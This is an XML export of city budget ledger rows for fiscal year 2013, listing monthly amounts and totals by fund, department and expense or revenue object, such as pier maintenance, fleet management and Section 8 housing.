<row _id="2546"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4385.0</july><august>0</august><september>0.0</september><october>486.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4871.0</total></row>
<row _id="2547"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>67262.0</july><august>0</august><september>0.0</september><october>-3922.0</october><november>0</november><december>0</december><january>0.0</january><february>633</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>63973.0</total></row>
<row _id="2548"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>180.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>180.0</total></row>
<row _id="2549"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>98000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>98000.0</total></row>
<row _id="2550"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533240.0</object><object_description>PIER MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>391914.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>391914.0</total></row>
<row _id="2551"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5081.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>51</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5132.0</total></row>
<row _id="2552"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6843.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6843.0</total></row>
<row _id="2553"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>541.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>541.0</total></row>
<row _id="2554"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="2555"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>44</fund_id><fund_name>SCAQMD AB 2766 Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>404940.0</object><object_description>AB2766 MBILE SRCE AIR POLL FEE</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-110000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-110000.0</total></row>
<row _id="2556"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>407290.0</object><object_description>FUEL SURCHARGE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-66300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-66300.0</total></row>
<row _id="2557"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>84066.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>841</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>84907.0</total></row>
<row _id="2558"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4638.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4638.0</total></row>
<row _id="2559"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>43241.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>43241.0</total></row>
<row _id="2560"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>60000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="2561"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>-2776.5</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2776.5</total></row>
<row _id="2562"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5387.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-111</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5276.0</total></row>
<row _id="2563"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>57431.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1092</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>56339.0</total></row>
<row _id="2564"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1679.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>11</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1690.0</total></row>
<row _id="2565"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1228.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>38</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1266.0</total></row>
<row _id="2566"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>423.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>423.0</total></row>
<row _id="2567"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="2568"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577530.0</object><object_description>FARMERS' MKT EDUCATION PRGS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>13600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13600.0</total></row>
<row _id="2569"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1064210.0</july><august>0</august><september>0.0</september><october>5202.0</october><november>0</november><december>0</december><january>0.0</january><february>10694</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1080106.0</total></row>
<row _id="2570"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1249.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1249.0</total></row>
<row _id="2571"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-10345.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-10345.0</total></row>
<row _id="2572"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8327.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8327.0</total></row>
<row _id="2573"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>402270.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-81206.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-81206.0</total></row>
<row _id="2574"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400883.0</object><object_description>SPC HAP SU05</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-283911.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-283911.0</total></row>
<row _id="2575"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400885.0</object><object_description>SPC HAP NEW</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-312973.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-312973.0</total></row>
<row _id="2576"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400923.0</object><object_description>SPC ADMIN SU05</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-19874.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-19874.0</total></row>
<row _id="2577"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>17374.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>5043</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>22417.0</total></row>
<row _id="2578"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-1054121.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1054121.0</total></row>
<row _id="2579"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 FRAUD RECOVERY</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-90000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-90000.0</total></row>
<row _id="2580"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>755236.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-46233</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>709003.0</total></row>
<row _id="2581"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>22519.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>22519.0</total></row>
<row _id="2582"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-6856.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6856.0</total></row>
<row _id="2583"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7826.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>78</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7904.0</total></row>
<row _id="2584"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="2585"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 FSS ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-65286.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-65286.0</total></row>
<row _id="2586"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400394.0</object><object_description>HAP REVENUE - PORTS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-300000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-300000.0</total></row>
<row _id="2587"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400750.0</object><object_description>INT DEP/INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-28000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-28000.0</total></row>
<row _id="2588"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="2589"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="2590"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>172495.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1725</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>174220.0</total></row>
<row _id="2591"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-3892.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3892.0</total></row>
